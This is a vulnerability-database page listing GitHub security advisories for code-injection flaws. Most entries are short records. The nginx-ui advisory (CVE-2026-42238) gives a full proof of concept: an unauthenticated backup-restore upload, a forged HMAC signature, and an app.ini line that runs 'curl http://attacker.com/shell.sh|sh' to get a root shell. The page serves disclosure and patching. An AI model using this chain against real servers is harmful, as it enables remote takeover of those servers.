Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8376 vulnerabilities reference this CWE, most recent first.

GHSA-4P38-RC98-CR39

Vulnerability from github – Published: 2022-11-30 15:30 – Updated: 2022-12-02 22:20
VLAI
Summary
Zenario CMS is vulnerable to Remote Code Execution (RCE).
Details

Zenario CMS 9.3.57186 is vulnerable to RCE.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "tribalsystems/zenario"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.57473"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-44136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-02T22:20:32Z",
    "nvd_published_at": "2022-11-30T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Zenario CMS 9.3.57186 is vulnerable to RCE.",
  "id": "GHSA-4p38-rc98-cr39",
  "modified": "2022-12-02T22:20:32Z",
  "published": "2022-11-30T15:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44136"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TribalSystems/Zenario/commit/4f95a557af3c0b82e448a6ff8f4c167525972e4a"
    },
    {
      "type": "WEB",
      "url": "https://com0t.github.io/zenar.io/2022/10/18/Unauthent-RCE-Zenar.io~9.3.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TribalSystems/Zenario"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TribalSystems/Zenario/compare/9.0.55141...9.0.57473"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TribalSystems/Zenario/releases/tag/9.0.57473"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Zenario CMS is vulnerable to Remote Code Execution (RCE)."
}

GHSA-4P3V-H475-6J2M

Vulnerability from github – Published: 2024-02-13 18:38 – Updated: 2024-08-19 18:32
VLAI
Details

Zimbra Collaboration before Kepler 9.0.0 Patch 38 GA allows DOM-based JavaScript injection in the Modern UI.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-50808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T18:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "Zimbra Collaboration before Kepler 9.0.0 Patch 38 GA allows DOM-based JavaScript injection in the Modern UI.",
  "id": "GHSA-4p3v-h475-6j2m",
  "modified": "2024-08-19T18:32:02Z",
  "published": "2024-02-13T18:38:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50808"
    },
    {
      "type": "WEB",
      "url": "https://wiki.zimbra.com/wiki/Security_Center"
    },
    {
      "type": "WEB",
      "url": "https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P38"
    },
    {
      "type": "WEB",
      "url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4P53-W5PC-F48W

Vulnerability from github – Published: 2026-01-13 03:32 – Updated: 2026-01-13 03:32
VLAI
Details

SAP S/4HANA (Private Cloud and On-Premise) allows an attacker with admin privileges to exploit a vulnerability in the function module exposed via RFC. This flaw enables the injection of arbitrary ABAP code/OS commands into the system, bypassing essential authorization checks. This vulnerability effectively functions as a backdoor, creating the risk of full system compromise, undermining the confidentiality, integrity and availability of the system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0498"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T02:15:52Z",
    "severity": "CRITICAL"
  },
  "details": "SAP S/4HANA (Private Cloud and On-Premise) allows an attacker with admin privileges to exploit a vulnerability in the function module exposed via RFC. This flaw enables the injection of arbitrary ABAP code/OS commands into the system, bypassing essential authorization checks. This vulnerability effectively functions as a backdoor, creating the risk of full system compromise, undermining the confidentiality, integrity and availability of the system.",
  "id": "GHSA-4p53-w5pc-f48w",
  "modified": "2026-01-13T03:32:08Z",
  "published": "2026-01-13T03:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0498"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3694242"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4P6G-8Q3P-H23X

Vulnerability from github – Published: 2022-04-03 00:01 – Updated: 2022-04-09 00:00
VLAI
Details

Rockwell Automation Studio 5000 Logix Designer (all versions) are vulnerable when an attacker who achieves administrator access on a workstation running Studio 5000 Logix Designer could inject controller code undetectable to a user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-1159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-01T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Rockwell Automation Studio 5000 Logix Designer (all versions) are vulnerable when an attacker who achieves administrator access on a workstation running Studio 5000 Logix Designer could inject controller code undetectable to a user.",
  "id": "GHSA-4p6g-8q3p-h23x",
  "modified": "2022-04-09T00:00:39Z",
  "published": "2022-04-03T00:01:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1159"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-090-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4PJ3-GQQH-FXCR

Vulnerability from github – Published: 2024-07-04 15:30 – Updated: 2024-12-04 18:32
VLAI
Details

QR/demoapp/qr_image.php in Asial JpGraph Professional through 4.2.6-pro allows remote attackers to execute arbitrary code via a PHP payload in the data parameter in conjunction with a .php file name in the filename parameter. This occurs because an unnecessary QR/demoapp folder.is shipped with the product.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-39165"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-04T13:15:10Z",
    "severity": "MODERATE"
  },
  "details": "QR/demoapp/qr_image.php in Asial JpGraph Professional through 4.2.6-pro allows remote attackers to execute arbitrary code via a PHP payload in the data parameter in conjunction with a .php file name in the filename parameter. This occurs because an unnecessary QR/demoapp folder.is shipped with the product.",
  "id": "GHSA-4pj3-gqqh-fxcr",
  "modified": "2024-12-04T18:32:35Z",
  "published": "2024-07-04T15:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39165"
    },
    {
      "type": "WEB",
      "url": "https://synacktiv.com/en/advisories/jpgraph-professional-version-pre-authenticated-remote-code-execution"
    },
    {
      "type": "WEB",
      "url": "https://www.synacktiv.com/advisories/jpgraph-professional-version-pre-authenticated-remote-code-execution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4PJ4-PM6X-XF9X

Vulnerability from github – Published: 2024-06-25 00:34 – Updated: 2024-07-03 18:46
VLAI
Details

PHP Injection vulnerability in the module "M4 PDF Extensions" (m4pdf) up to version 3.3.2 from PrestaAddons for PrestaShop allows attackers to run arbitrary code via the M4PDF::saveTemplate() method.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-50029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-24T23:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "PHP Injection vulnerability in the module \"M4 PDF Extensions\" (m4pdf) up to version 3.3.2 from PrestaAddons for PrestaShop allows attackers to run arbitrary code via the M4PDF::saveTemplate() method.",
  "id": "GHSA-4pj4-pm6x-xf9x",
  "modified": "2024-07-03T18:46:40Z",
  "published": "2024-06-25T00:34:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50029"
    },
    {
      "type": "WEB",
      "url": "https://security.friendsofpresta.org/modules/2024/06/20/m4pdf.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4PJC-5G8W-829W

Vulnerability from github – Published: 2022-05-17 01:29 – Updated: 2025-04-11 04:17
VLAI
Details

The get_main_source_dir function in scripts/uscan.pl in devscripts before 2.13.8, when using USCAN_EXCLUSION, allows remote attackers to execute arbitrary commands via shell metacharacters in a directory name.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-7050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-12-13T18:07:00Z",
    "severity": "MODERATE"
  },
  "details": "The get_main_source_dir function in scripts/uscan.pl in devscripts before 2.13.8, when using USCAN_EXCLUSION, allows remote attackers to execute arbitrary commands via shell metacharacters in a directory name.",
  "id": "GHSA-4pjc-5g8w-829w",
  "modified": "2025-04-11T04:17:02Z",
  "published": "2022-05-17T01:29:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-7050"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1040266"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/89666"
    },
    {
      "type": "WEB",
      "url": "http://anonscm.debian.org/gitweb/?p=collab-maint/devscripts.git%3Ba=commitdiff%3Bh=91f05b5"
    },
    {
      "type": "WEB",
      "url": "http://anonscm.debian.org/gitweb/?p=collab-maint/devscripts.git;a=commitdiff;h=91f05b5"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=731849"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/100855"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/oss-sec/2013/q4/470"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/oss-sec/2013/q4/486"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/64241"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4PMC-Q62V-29QW

Vulnerability from github – Published: 2022-05-17 04:58 – Updated: 2025-04-11 04:15
VLAI
Details

The Groovy script console in VMware Hyperic HQ 4.6.6 allows remote authenticated administrators to execute arbitrary code via a Runtime.getRuntime().exec call.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-6366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-11-04T16:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The Groovy script console in VMware Hyperic HQ 4.6.6 allows remote authenticated administrators to execute arbitrary code via a Runtime.getRuntime().exec call.",
  "id": "GHSA-4pmc-q62v-29qw",
  "modified": "2025-04-11T04:15:46Z",
  "published": "2022-05-17T04:58:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6366"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/28962"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-4PVG-PRR3-9CXR

Vulnerability from github – Published: 2026-05-06 17:03 – Updated: 2026-05-06 17:03
VLAI
Summary
Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore
Details

Product: nginx-ui Repository: 0xJacky/nginx-ui (branch: dev) Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection Affected Component: POST /api/restore


1. Vulnerability Summary

nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments.

The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).


2. Root Cause Analysis

2.1 The Restore Route Is Registered Without Authentication

backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware — no AuthRequired(): 1

The route definition: 2

2.2 The authIfInstalled Guard Has a Time-Bounded Bypass

The only authentication guard on the restore route is authIfInstalled: 3

It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded() is true. Both conditions are false on a fresh install within the first 10 minutes: 4

  • InstallLockStatus() returns false because JwtSecret is "" on a fresh install and SkipInstallation defaults to false.
  • IsInstallTimeoutExceeded() returns false for the first 10 minutes after startupTime is set in init().

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional — it only activates if the request includes an encrypted_params field. If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encrypted_params and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker via the security_token form field: 6

The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restore_nginx_ui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11


3. Attack Prerequisites

Requirement Notes
Network access to nginx-ui port Default: 9000/tcp
Target is a fresh install JwtSecret is empty in app.ini
Within 10 minutes of last process start Window resets on every restart
IP not blocked by IPWhiteList Default config has no IP whitelist

The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.


4. Step-by-Step Proof of Concept

Step 1 — Confirm the installation window is open

GET /api/install HTTP/1.1
Host: target:9000

Expected response confirming vulnerability:

{"lock": false, "timeout": false}

Step 2 — Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip          ← outer ZIP (unencrypted)
├── manifest.json             ← JSON manifest
├── manifest.sig              ← HMAC-SHA256 of manifest.json
├── nginx-ui.zip              ← AES-CBC encrypted inner ZIP
└── nginx.zip                 ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

[app]
JwtSecret = attacker_chosen_jwt_secret_32chars

[node]
Secret = attacker_chosen_node_secret

[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

{
  "schema": 1,
  "created_at": "20260421-120000",
  "version": "2.0.0",
  "files": [
    {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>},
    {"name": "nginx.zip",    "sha256": "<hash>", "size": <size>}
  ]
}

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

import hashlib, hmac
context = b"nginx-ui-backup-signing-v1:"
signing_key = hashlib.sha256(context + aes_key).digest()
sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.

Step 3 — Upload the malicious backup (no authentication required)

POST /api/restore HTTP/1.1
Host: target:9000
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip

[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"

<base64(aes_key)>:<base64(aes_iv)>
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"

true
------Boundary--

Expected response (HTTP 200):

{"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.

Step 4 — Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

POST /api/nginx/test HTTP/1.1
Host: target:9000
X-Node-Secret: attacker_chosen_node_secret

nginx-ui executes:

/bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).


5. Impact

  • Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in app.ini.
  • Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state.
  • Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.
  • Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.

6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.


7. Recommended Fix

Primary fix — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:

// api/backup/router.go
func InitRouter(r *gin.RouterGroup) {
    r.GET("/backup", middleware.AuthRequired(), CreateBackup)
    r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)
}

If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.

Secondary fix — Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.


8. Timeline

Date Event
2026-04-21 Vulnerability identified via source code review
Vendor notification (pending)
CVE assignment (pending)

Citations

File: router/routers.go (L61-70)

    root := r.Group("/api", middleware.IPWhiteList())
    {
        public.InitRouter(root)
        crypto.InitPublicRouter(root)
        user.InitAuthRouter(root)
        license.InitRouter(root)

        system.InitPublicRouter(root)
        system.InitSelfCheckRouter(root)
        backup.InitRouter(root)

File: api/backup/router.go (L9-16)

// authIfInstalled requires auth if system is installed
func authIfInstalled(ctx *gin.Context) {
    if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {
        middleware.AuthRequired()(ctx)
    } else {
        ctx.Next()
    }
}

File: api/backup/router.go (L18-25)

func InitRouter(r *gin.RouterGroup) {
    // Backup always requires authentication (contains sensitive data)
    r.GET("/backup", middleware.AuthRequired(), CreateBackup)

    // Restore requires auth only after installation
    // This allows restoring backup during initial setup
    r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)
}

File: api/system/install.go (L27-34)

func InstallLockStatus() bool {
    return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != ""
}

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded
func IsInstallTimeoutExceeded() bool {
    return time.Since(startupTime) > 10*time.Minute
}

File: internal/middleware/encrypted_params.go (L69-75)

        // Check if encrypted_params field exists
        encryptedParams := c.Request.FormValue("encrypted_params")
        if encryptedParams == "" {
            // No encryption, continue normally
            c.Next()
            return
        }

File: api/backup/restore.go (L35-70)

    securityToken := c.PostForm("security_token") // Get concatenated key and IV
    // Get backup file
    backupFile, err := c.FormFile("backup_file")
    if err != nil {
        cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))
        return
    }

    // Validate security token
    if securityToken == "" {
        cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
        return
    }

    // Split security token to get Key and IV
    parts := strings.Split(securityToken, ":")
    if len(parts) != 2 {
        cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
        return
    }

    aesKey := parts[0]
    aesIv := parts[1]

    // Decode Key and IV from base64
    key, err := base64.StdEncoding.DecodeString(aesKey)
    if err != nil {
        cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))
        return
    }

    iv, err := base64.StdEncoding.DecodeString(aesIv)
    if err != nil {
        cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))
        return
    }

File: api/backup/restore.go (L126-132)

    if restoreNginxUI {
        go func() {
            time.Sleep(2 * time.Second)
            // gracefully restart
            risefront.Restart()
        }()
    }

File: internal/backup/manifest.go (L156-163)

func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {
    if len(aesKey) == 0 {
        return nil, ErrInvalidAESKey
    }

    sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))
    return sum[:], nil
}

File: internal/backup/restore.go (L458-484)

// restoreNginxUIConfig restores nginx-ui configuration files
func restoreNginxUIConfig(nginxUIBackupDir string) error {
    // Get config directory
    configDir := filepath.Dir(cosysettings.ConfPath)
    if configDir == "" {
        return ErrConfigPathEmpty
    }

    // Restore app.ini to the configured location
    srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
    if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
        return err
    }

    // Restore database file if exists
    dbName := settings.DatabaseSettings.GetName()
    srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db")
    destDBPath := filepath.Join(configDir, dbName+".db")

    // Only attempt to copy if database file exists in backup
    if _, err := os.Stat(srcDBPath); err == nil {
        if err := copyFile(srcDBPath, destDBPath); err != nil {
            return err
        }
    }

    return nil

File: internal/nginx/nginx.go (L25-36)

func TestConfig() (stdOut string, stdErr error) {
    mutex.Lock()
    defer mutex.Unlock()
    if settings.NginxSettings.TestConfigCmd != "" {
        return execShell(settings.NginxSettings.TestConfigCmd)
    }
    sbin := GetSbinPath()
    if sbin == "" {
        return execCommand("nginx", "-t")
    }
    return execCommand(sbin, "-t")
}

File: internal/nginx/exec.go (L12-28)

func execShell(cmd string) (stdOut string, stdErr error) {
    var execCmd *exec.Cmd

    if runtime.GOOS == "windows" {
        execCmd = exec.Command("cmd", "/c", cmd)
    } else {
        execCmd = exec.Command("/bin/sh", "-c", cmd)
    }

    execCmd.Dir = GetNginxExeDir()
    bytes, err := execCmd.CombinedOutput()
    stdOut = string(bytes)
    if err != nil {
        stdErr = err
    }
    return
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/nginx-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T17:03:43Z",
    "nvd_published_at": "2026-05-04T21:16:32Z",
    "severity": "CRITICAL"
  },
  "details": "**Product:** nginx-ui\n**Repository:** `0xJacky/nginx-ui` (branch: `dev`)\n**Vulnerability Class:** Authentication Bypass \u2192 Arbitrary File Write \u2192 OS Command Injection\n**Affected Component:** `POST /api/restore`\n\n---\n\n## 1. Vulnerability Summary\n\nnginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is **completely unauthenticated** during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application\u0027s configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui \u2014 typically `root` in Docker deployments.\n\nThe 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).\n\n---\n\n## 2. Root Cause Analysis\n\n### 2.1 The Restore Route Is Registered Without Authentication\n\n`backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware \u2014 no `AuthRequired()`: [1](#2-0) \n\nThe route definition: [2](#2-1) \n\n### 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass\n\nThe only authentication guard on the restore route is `authIfInstalled`: [3](#2-2) \n\nIt calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: [4](#2-3) \n\n- `InstallLockStatus()` returns `false` because `JwtSecret` is `\"\"` on a fresh install and `SkipInstallation` defaults to `false`.\n- `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`.\n\nWhen both are `false`, `authIfInstalled` calls `ctx.Next()` with **zero authentication**.\n\n### 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier\n\nThe `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is **optional** \u2014 it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: [5](#2-4) \n\nAn attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op.\n\n### 2.4 The Attacker Controls the AES Key Used to Verify the Backup\n\nThe restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: [6](#2-5) \n\nThe manifest integrity check derives its HMAC signing key **from the attacker-supplied AES key**: [7](#2-6) \n\nSince the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.\n\n### 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally\n\nWhen `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: [8](#2-7) \n\n### 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command\n\nAfter restore, `risefront.Restart()` is called, reloading `app.ini`: [9](#2-8) \n\nOn the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: [10](#2-9) [11](#2-10) \n\n---\n\n## 3. Attack Prerequisites\n\n| Requirement | Notes |\n|---|---|\n| Network access to nginx-ui port | Default: 9000/tcp |\n| Target is a fresh install | `JwtSecret` is empty in `app.ini` |\n| Within 10 minutes of last process start | Window resets on every restart |\n| IP not blocked by `IPWhiteList` | Default config has no IP whitelist |\n\nThe 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window.\n\n---\n\n## 4. Step-by-Step Proof of Concept\n\n### Step 1 \u2014 Confirm the installation window is open\n\n```http\nGET /api/install HTTP/1.1\nHost: target:9000\n```\n\nExpected response confirming vulnerability:\n```json\n{\"lock\": false, \"timeout\": false}\n```\n\n### Step 2 \u2014 Craft the malicious backup\n\nThe backup format (derived from `internal/backup/backup.go`) is:\n\n```\nbackup-TIMESTAMP.zip          \u2190 outer ZIP (unencrypted)\n\u251c\u2500\u2500 manifest.json             \u2190 JSON manifest\n\u251c\u2500\u2500 manifest.sig              \u2190 HMAC-SHA256 of manifest.json\n\u251c\u2500\u2500 nginx-ui.zip              \u2190 AES-CBC encrypted inner ZIP\n\u2514\u2500\u2500 nginx.zip                 \u2190 AES-CBC encrypted inner ZIP\n```\n\n**2a.** Generate a random 32-byte AES key and 16-byte IV.\n\n**2b.** Create the malicious `app.ini` to place inside `nginx-ui.zip`:\n\n```ini\n[app]\nJwtSecret = attacker_chosen_jwt_secret_32chars\n\n[node]\nSecret = attacker_chosen_node_secret\n\n[nginx]\nTestConfigCmd = curl http://attacker.com/shell.sh|sh\n```\n\n**2c.** Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional \u2014 the node secret alone grants full API access).\n\n**2d.** Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`.\n\n**2e.** Encrypt both ZIPs with AES-256-CBC using your key and IV.\n\n**2f.** Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`:\n\n```json\n{\n  \"schema\": 1,\n  \"created_at\": \"20260421-120000\",\n  \"version\": \"2.0.0\",\n  \"files\": [\n    {\"name\": \"nginx-ui.zip\", \"sha256\": \"\u003chash\u003e\", \"size\": \u003csize\u003e},\n    {\"name\": \"nginx.zip\",    \"sha256\": \"\u003chash\u003e\", \"size\": \u003csize\u003e}\n  